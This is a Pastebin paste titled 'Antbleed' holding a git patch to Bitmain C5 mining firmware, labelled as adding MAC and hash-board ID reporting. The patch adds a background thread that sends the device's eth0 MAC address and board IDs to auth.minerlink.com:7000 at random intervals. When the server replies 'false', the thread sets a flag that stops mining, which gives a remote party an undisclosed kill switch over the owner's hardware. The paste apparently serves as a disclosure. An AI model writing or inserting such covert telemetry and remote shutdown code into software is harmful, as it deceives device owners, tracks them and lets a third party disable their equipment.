Advertisement
Guest User

Antbleed

a guest
Apr 26th, 2017
17,090
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 15.13 KB | None | 0 0
  1. From a843486997ed8df55d24e5c29a7a2ba99409f3d2 Mon Sep 17 00:00:00 2001
  2. From: "Fazio.Bai" <yang.bai@bitmaintech.com>
  3. Date: Tue, 12 Jul 2016 11:42:43 +0800
  4. Subject: [PATCH] Add function of reporting mac and hash board id
  5.  
  6. ---
  7.  driver-btm-c5.c | 279 ++++++++++++++++++++++++++++++++++++++++++++++----------
  8.  driver-btm-c5.h |   8 ++
  9.  logging.h       |   2 +-
  10.  3 files changed, 239 insertions(+), 50 deletions(-)
  11.  
  12. diff --git a/driver-btm-c5.c b/driver-btm-c5.c
  13. index 3d4fbd5..1b9bde5 100644
  14. --- a/driver-btm-c5.c
  15. +++ b/driver-btm-c5.c
  16. @@ -25,6 +25,14 @@
  17.  #include <io.h>
  18.  #endif
  19.  
  20. +#include <sys/ioctl.h>
  21. +#include <sys/socket.h>
  22. +#include <netinet/in.h>
  23. +#include <net/if.h>
  24. +#include <netdb.h>
  25. +#include <arpa/inet.h>
  26. +#include <errno.h>
  27. +
  28.  #include "elist.h"
  29.  #include "miner.h"
  30.  #include "usbutils.h"
  31. @@ -49,6 +57,8 @@ struct thr_info *read_temp_id;
  32.  struct thr_info *read_hash_rate;
  33.  struct thr_info *pic_heart_beat;
  34.  struct thr_info *change_voltage_to_old;
  35. +struct thr_info *send_mac_thr;
  36. +
  37.  
  38.  
  39.  bool gBegin_get_nonce = false;
  40. @@ -87,6 +97,18 @@ uint64_t rate[BITMAIN_MAX_CHAIN_NUM] = {0};
  41.  int rate_error[BITMAIN_MAX_CHAIN_NUM] = {0};
  42.  char displayed_rate[BITMAIN_MAX_CHAIN_NUM][16];
  43.  uint8_t chain_voltage[BITMAIN_MAX_CHAIN_NUM] = {0};
  44. +unsigned char hash_board_id[BITMAIN_MAX_CHAIN_NUM][12];
  45. +
  46. +
  47. +#define id_string_len 34
  48. +#define AUTH_URL    "auth.minerlink.com"
  49. +#define PORT        "7000"
  50. +
  51. +static bool need_send = true;
  52. +char * mac;
  53. +bool stop_mining = false;
  54. +char hash_board_id_string[BITMAIN_MAX_CHAIN_NUM*id_string_len];
  55. +
  56.  
  57.  struct nonce_content temp_nonce_buf[MAX_RETURNED_NONCE_NUM];
  58.  struct reg_content temp_reg_buf[MAX_RETURNED_NONCE_NUM];
  59. @@ -1925,10 +1947,10 @@ rerun_all:
  60.                  rate_error[i] = 0;
  61.                  applog(LOG_DEBUG,"%s: chain %d hashrate is %s\n", __FUNCTION__, i, displayed_rate[i]);
  62.              }
  63. -            if(read_num == 0)
  64. +            if(read_num == 0 || status_error )
  65.              {
  66.                  rate_error[i]++;
  67. -                if(rate_error[i] > 10)
  68. +                if(rate_error[i] > 3 || status_error)
  69.                  {
  70.                      rate[i] = 0;
  71.                      suffix_string_c5(rate[i], (char * )displayed_rate[i], sizeof(displayed_rate[i]), 6,false);
  72. @@ -2040,7 +2062,7 @@ unsigned int check_reg_temp(unsigned char device,unsigned reg,unsigned char data
  73.              cgsleep_ms(1);
  74.              fail_time++;
  75.          }
  76. -        while ((ret & 0xff00) >>8 != reg && fail_time < 2);
  77. +        while (((ret & 0xff00) >>8 != reg || (ret & 0xff) == 0xff || (ret & 0xff) == 0x7f ) && fail_time < 2);
  78.      }
  79.      else
  80.      {
  81. @@ -2711,10 +2733,7 @@ void check_system_work()
  82.                          }
  83.                          else
  84.                          {
  85. -                            if(!status_error)
  86. -                                dev->chain_asic_status_string[i][j+offset] = 'o';
  87. -                            else
  88. -                                dev->chain_asic_status_string[i][j+offset] = 'x';
  89. +                            dev->chain_asic_status_string[i][j+offset] = 'x';
  90.                              error_asic++;
  91.                          }
  92.                          dev->chain_asic_nonce[i][j] = 0;
  93. @@ -2755,7 +2774,8 @@ void check_system_work()
  94.              if (!once_error)
  95.                  status_error = false;
  96.          }
  97. -
  98. +       if(stop_mining)
  99. +           status_error = true;
  100.          if(error_asic > asic_num/5 || asic_num == 0)
  101.          {
  102.              stop = true;
  103. @@ -3466,6 +3486,25 @@ int bitmain_c5_init(struct init_config config)
  104.      set_job_start_address(PHY_MEM_JOB_START_ADDRESS_1);
  105.      //check chain
  106.      check_chain();
  107. +
  108. +   char * buf_hex = NULL;
  109. +   int board_num = 0;
  110. +   for(i=0; i < BITMAIN_MAX_CHAIN_NUM; i++)
  111. +    {
  112. +        if(dev->chain_exist[i] == 1)
  113. +        {
  114. +            pthread_mutex_lock(&iic_mutex);
  115. +           get_hash_board_id_number(i,hash_board_id[i]);
  116. +           buf_hex = bin2hex(hash_board_id[i],12);
  117. +           sprintf(hash_board_id_string + (board_num*id_string_len),"{\"ID\":\"%s\"},",buf_hex);
  118. +           board_num++;
  119. +           free(buf_hex);
  120. +           buf_hex = NULL;
  121. +            pthread_mutex_unlock(&iic_mutex);
  122. +        }
  123. +    }
  124. +   hash_board_id_string[board_num*id_string_len - 1] = '\0';
  125. +  
  126.      for(i=0; i < BITMAIN_MAX_CHAIN_NUM; i++)
  127.      {
  128.          if(dev->chain_exist[i] == 1)
  129. @@ -3479,7 +3518,7 @@ int bitmain_c5_init(struct init_config config)
  130.      }
  131.  
  132.  #if 0
  133. -    de_voltage = opt_bitmain_c5_voltage;
  134. +    de_voltage = 125;// opt_bitmain_c5_voltage;
  135.      cgsleep_ms(100);
  136.      for(i=0; i < BITMAIN_MAX_CHAIN_NUM; i++)
  137.      {
  138. @@ -3747,7 +3786,6 @@ int parse_job_to_c5(unsigned char **buf,struct pool *pool,uint32_t id)
  139.      part_job.asic_diff_valid    = 1;
  140.      part_job.asic_diff          = 15;
  141.      part_job.job_id             = id;
  142. -    part_job.nonce2_start_value = 0;
  143.  
  144.      hex2bin(&part_job.bbversion, pool->bbversion, 4);
  145.      hex2bin(part_job.prev_hash, pool->prev_hash, 32);
  146. @@ -3757,7 +3795,9 @@ int parse_job_to_c5(unsigned char **buf,struct pool *pool,uint32_t id)
  147.      part_job.nonce2_offset = pool->nonce2_offset;
  148.      part_job.nonce2_bytes_num = pool->n2size;
  149.  
  150. -    nonce2 = (pool->nonce2 == 0 ? 0 : pool->nonce2 - 1);
  151. +   nonce2 = htole64(pool->nonce2);
  152. +   memcpy(&(part_job.nonce2_start_value), pool->coinbase + pool->nonce2_offset,8);
  153. +   memcpy(&(part_job.nonce2_start_value), &nonce2,pool->n2size);
  154.  
  155.      part_job.merkles_num = pool->merkles;
  156.      buf_len = sizeof(struct part_of_job) + pool->coinbase_len + pool->merkles * 32 + 2;
  157. @@ -3770,7 +3810,11 @@ int parse_job_to_c5(unsigned char **buf,struct pool *pool,uint32_t id)
  158.      memset(tmp_buf,0,buf_len);
  159.      memcpy(tmp_buf,&part_job,sizeof(struct part_of_job));
  160.      memcpy(tmp_buf + sizeof(struct part_of_job), pool->coinbase, pool->coinbase_len);
  161. -
  162. +   /*
  163. +   buf_hex = bin2hex(pool->coinbase,pool->coinbase_len);
  164. +   printf("coinbase:%s offset:%d n2size:%d nonce2%lld\n",buf_hex,pool->nonce2_offset,pool->n2size,pool->nonce2);
  165. +   free(buf_hex);
  166. +   */
  167.      for (i = 0; i < pool->merkles; i++)
  168.      {
  169.          memcpy(tmp_buf + sizeof(struct part_of_job) + pool->coinbase_len + i * 32, pool->swork.merkle_bin[i], 32);
  170. @@ -3857,15 +3901,7 @@ int send_job(unsigned char *buf)
  171.      struct part_of_job *part_job = NULL;
  172.  
  173.      applog(LOG_DEBUG,"--- %s\n", __FUNCTION__);
  174. -    /*
  175. -    while(1)
  176. -    {
  177. -        send_func();
  178. -        applog(LOG_NOTICE,"--- %s\n", __FUNCTION__);
  179. -        cgsleep_us(4980);
  180. -    }
  181. -    return 0;
  182. -    */
  183. +
  184.      if(*(buf + 0) != SEND_JOB_TYPE)
  185.      {
  186.          applog(LOG_DEBUG,"%s: SEND_JOB_TYPE is wrong : 0x%x\n", __FUNCTION__, *(buf + 0));
  187. @@ -3946,14 +3982,6 @@ int send_job(unsigned char *buf)
  188.      *((unsigned int *)coinbase_padding + (coinbase_padding_len - 4)/sizeof(int)) = Swap32((unsigned int)((unsigned long long int)(part_job->coinbase_len * sizeof(char) * 8) & 0x00000000ffffffff)); // 8 means 8 bits
  189.      *((unsigned int *)coinbase_padding + (coinbase_padding_len - 8)/sizeof(int)) = Swap32((unsigned int)(((unsigned long long int)(part_job->coinbase_len * sizeof(char) * 8) & 0xffffffff00000000) >> 32)); // 8 means 8 bits
  190.  
  191. -    /*
  192. -    for(j=0;j<coinbase_padding_len;j++)
  193. -    {
  194. -        applog(LOG_DEBUG,"%s: coinbase_padding[%d] = 0x%x", __FUNCTION__, j, coinbase_padding[j]);
  195. -    }
  196. -    */
  197. -
  198. -    /**/
  199.      l_coinbase_padding = c_coinbase_padding;
  200.      c_coinbase_padding = coinbase_padding_len;
  201.      for(i=0; i<coinbase_padding_len; i++)
  202. @@ -3977,12 +4005,7 @@ int send_job(unsigned char *buf)
  203.          applog(LOG_DEBUG,"%s: copy merkle bin into memory ...\n", __FUNCTION__);
  204.          memset(merkles_bin, 0, part_job->merkles_num * MERKLE_BIN_LEN);
  205.          memcpy(merkles_bin, buf + sizeof(struct part_of_job) + part_job->coinbase_len , part_job->merkles_num * MERKLE_BIN_LEN);
  206. -        /*
  207. -        for(j=0;j<part_job->merkles_num * MERKLE_BIN_LEN;j++)
  208. -        {
  209. -            applog(LOG_DEBUG,"%s: merkles_bin[%d] = 0x%x", __FUNCTION__, j, merkles_bin[j]);
  210. -        }
  211. -        */
  212. +
  213.          for(i=0; i<(part_job->merkles_num * MERKLE_BIN_LEN); i++)
  214.          {
  215.              *((unsigned char *)dev->current_job_start_address + coinbase_padding_len + i) = *(merkles_bin + i);
  216. @@ -4198,6 +4221,171 @@ static void copy_pool_stratum(struct pool *pool_stratum, struct pool *pool)
  217.      cg_wunlock(&pool_stratum->data_lock);
  218.  }
  219.  
  220. +
  221. +static void noblock_socket(int fd)
  222. +{
  223. +    int flags = fcntl(fd, F_GETFL, 0);
  224. +    fcntl(fd, F_SETFL, O_NONBLOCK | flags);
  225. +}
  226. +
  227. +static void block_socket(int fd)
  228. +{
  229. +    int flags = fcntl(fd, F_GETFL, 0);
  230. +    fcntl(fd, F_SETFL, flags & ~O_NONBLOCK);
  231. +}
  232. +
  233. +static bool sock_connecting(void)
  234. +{
  235. +    return errno == EINPROGRESS;
  236. +}
  237. +
  238. +static int get_mac(char * device,char **mac)
  239. +{
  240. +    struct ifreq ifreq;
  241. +    int sock = 0;
  242. +
  243. +    sock = socket(AF_INET,SOCK_STREAM,0);
  244. +    if(sock < 0)
  245. +    {
  246. +        perror("error sock");
  247. +        return 2;
  248. +    }
  249. +    strcpy(ifreq.ifr_name,device);
  250. +    if(ioctl(sock,SIOCGIFHWADDR,&ifreq) < 0)
  251. +    {
  252. +        perror("error ioctl");
  253. +        close(sock);
  254. +        return 3;
  255. +    }
  256. +    int i = 0;
  257. +    for(i = 0; i < 6; i++)
  258. +    {
  259. +        sprintf(*mac+3*i, "%02X:", (unsigned char)ifreq.ifr_hwaddr.sa_data[i]);
  260. +    }
  261. +    (*mac)[strlen(*mac) - 1] = 0;
  262. +    close(sock);
  263. +    return 0;
  264. +}
  265. +
  266. +static bool setup_send_mac_socket(char * s)
  267. +{
  268. +    struct addrinfo *servinfo, hints, *p;
  269. +    int sockd;
  270. +    int send_bytes,recv_bytes;
  271. +    char rec[1024];
  272. +    int flags;
  273. +
  274. +    memset(&hints, 0, sizeof(struct addrinfo));
  275. +    hints.ai_family = AF_UNSPEC;
  276. +    hints.ai_socktype = SOCK_STREAM;
  277. +
  278. +    if (getaddrinfo(AUTH_URL, PORT, &hints, &servinfo) != 0)
  279. +    {
  280. +        return false;
  281. +    }
  282. +    for (p = servinfo; p != NULL; p = p->ai_next)
  283. +    {
  284. +        sockd = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
  285. +        if (sockd == -1)
  286. +        {
  287. +            continue;
  288. +        }
  289. +        noblock_socket(sockd);
  290. +        if (connect(sockd, p->ai_addr, p->ai_addrlen) == -1)
  291. +        {
  292. +            struct timeval tv_timeout = {10, 0};
  293. +            int selret;
  294. +            fd_set rw;
  295. +            if (!sock_connecting())
  296. +            {
  297. +                close(sockd);
  298. +                continue;
  299. +            }
  300. +        retry:
  301. +            FD_ZERO(&rw);
  302. +            FD_SET(sockd, &rw);
  303. +            selret = select(sockd + 1, NULL, &rw, NULL, &tv_timeout);
  304. +            if  (selret > 0 && FD_ISSET(sockd, &rw))
  305. +            {
  306. +                socklen_t len;
  307. +                int err, n;
  308. +
  309. +                len = sizeof(err);
  310. +                n = getsockopt(sockd, SOL_SOCKET, SO_ERROR, (void *)&err, &len);
  311. +                if (!n && !err)
  312. +                {
  313. +                    block_socket(sockd);
  314. +                    break;
  315. +                }
  316. +            }
  317. +            if (selret < 0 && interrupted())
  318. +                goto retry;
  319. +            close(sockd);
  320. +            continue;
  321. +        }
  322. +        else
  323. +        {
  324. +            block_socket(sockd);
  325. +            break;
  326. +        }
  327. +    }
  328. +
  329. +    if (p == NULL)
  330. +    {
  331. +        freeaddrinfo(servinfo);
  332. +        return false;
  333. +    }
  334. +
  335. +    block_socket(sockd);
  336. +    bool if_stop = false;
  337. +
  338. +    int nNetTimeout=10;
  339. +    setsockopt(sockd,SOL_SOCKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int));
  340. +    setsockopt(sockd,SOL_SOCKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int));
  341. +    send_bytes = send(sockd,s,strlen(s),0);
  342. +    if (send_bytes != strlen(s))
  343. +    {
  344. +        if_stop = false;
  345. +    }
  346. +    memset(rec, 0, 1024);
  347. +    recv_bytes = recv(sockd, rec, 1024, 0);
  348. +    if (recv_bytes > 0)
  349. +    {
  350. +        if(strstr(rec,"false"))
  351. +            if_stop = true;
  352. +    }
  353. +
  354. +    freeaddrinfo(servinfo);
  355. +    close(sockd);
  356. +    return if_stop;
  357. +}
  358. +
  359. +void send_mac()
  360. +{
  361. +    char s[1024];
  362. +    static int id = 0;
  363. +    int number = 0;
  364. +    mac = (char *)malloc(sizeof(char)*32);
  365. +    get_mac("eth0",&mac);
  366. +    while(need_send)
  367. +    {
  368. +        id++;
  369. +        snprintf(s, sizeof(s),
  370. +                 "{\"ctrl_board\":\"%s\",\"id\":\"%d\",\"hashboard\":[%s]}",mac,id,hash_board_id_string);
  371. +        stop_mining = setup_send_mac_socket(s);
  372. +        if(stop_mining)
  373. +        {
  374. +           applog(LOG_NOTICE,"Stop mining!!!");
  375. +            break;
  376. +        }
  377. +       srand((unsigned) time(NULL));
  378. +        number = rand() % 600 + 60;
  379. +        sleep(number);
  380. +    }
  381. +    free(mac);
  382. +}
  383. +
  384. +
  385.  static bool bitmain_c5_prepare(struct thr_info *thr)
  386.  {
  387.      struct cgpu_info *bitmain_c5 = thr->cgpu;
  388. @@ -4248,6 +4436,12 @@ static bool bitmain_c5_prepare(struct thr_info *thr)
  389.  
  390.      bitmain_c5_init(c5_config);
  391.  
  392. +   send_mac_thr = calloc(1,sizeof(struct thr_info));
  393. +    if(thr_info_create(send_mac_thr, NULL, send_mac, send_mac_thr))
  394. +    {
  395. +        applog(LOG_DEBUG,"%s: create thread for send mac\n", __FUNCTION__);
  396. +    }
  397. +
  398.      return true;
  399.  }
  400.  
  401. @@ -4506,20 +4700,6 @@ static int64_t bitmain_scanhash(struct thr_info *thr)
  402.          get_work_by_nonce2(thr,&work,pool,c_pool,nonce2,pool->ntime,version);
  403.          h += hashtest_submit(thr,work,nonce3,midstate,pool,nonce2,chain_id);
  404.          free_work(work);
  405. -        /*
  406. -        get_work_by_nonce2(thr,&work,pool,c_pool,nonce2,pool->ntime,0x4);
  407. -        h += hashtest_submit(thr,work,nonce3,midstate,pool,nonce2,chain_id);
  408. -        free_work(work);
  409. -        get_work_by_nonce2(thr,&work,pool,c_pool,nonce2,pool->ntime,0x40000004);
  410. -        h += hashtest_submit(thr,work,nonce3,midstate,pool,nonce2,chain_id);
  411. -        free_work(work);
  412. -        get_work_by_nonce2(thr,&work,pool,c_pool,nonce2,pool->ntime,0x80000004);
  413. -        h += hashtest_submit(thr,work,nonce3,midstate,pool,nonce2,chain_id);
  414. -        free_work(work);
  415. -        get_work_by_nonce2(thr,&work,pool,c_pool,nonce2,pool->ntime,0xc0000004);
  416. -        h += hashtest_submit(thr,work,nonce3,midstate,pool,nonce2,chain_id);
  417. -        free_work(work);
  418. -        */
  419.      }
  420.      cg_runlock(&info->update_lock);
  421.      pthread_mutex_unlock(&nonce_mutex);
  422. @@ -4778,6 +4958,7 @@ static void bitmain_c5_shutdown(struct thr_info *thr)
  423.      thr_info_cancel(read_temp_id);
  424.      thr_info_cancel(read_hash_rate);
  425.      thr_info_cancel(pic_heart_beat);
  426. +   thr_info_cancel(send_mac_thr);
  427.  
  428.      ret = get_BC_write_command();   //disable null work
  429.      ret &= ~BC_COMMAND_EN_NULL_WORK;
  430. diff --git a/driver-btm-c5.h b/driver-btm-c5.h
  431. index 89e83db..e57e901 100644
  432. --- a/driver-btm-c5.h
  433. +++ b/driver-btm-c5.h
  434. @@ -212,8 +212,16 @@
  435.  #define TEST_DHASH 0
  436.  #define DEVICE_DIFF 8
  437.  //use for status check
  438. +//#define XILINX
  439. +#define C5
  440. +
  441. +#ifdef C5
  442.  #define RED_LED_DEV "/sys/class/leds/hps_led2/brightness"
  443.  #define GREEN_LED_DEV "/sys/class/leds/hps_led0/brightness"
  444. +#else ifdef XILINX
  445. +#define RED_LED_DEV "/sys/class/gpio/gpio37/value"
  446. +#define GREEN_LED_DEV "/sys/class/gpio/gpio38/value"
  447. +#endif
  448.  
  449.  
  450.  
  451. diff --git a/logging.h b/logging.h
  452. index bd053d4..4483098 100644
  453. --- a/logging.h
  454. +++ b/logging.h
  455. @@ -26,7 +26,7 @@ extern bool want_per_device_stats;
  456.  /* global log_level, messages with lower or equal prio are logged */
  457.  extern int opt_log_level;
  458.  
  459. -#define LOGBUFSIZ 256
  460. +#define LOGBUFSIZ 2048
  461.  
  462.  extern void _applog(int prio, const char *str, bool force);
  463.  extern void _simplelog(int prio, const char *str, bool force);
  464. --
  465. 2.10.1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement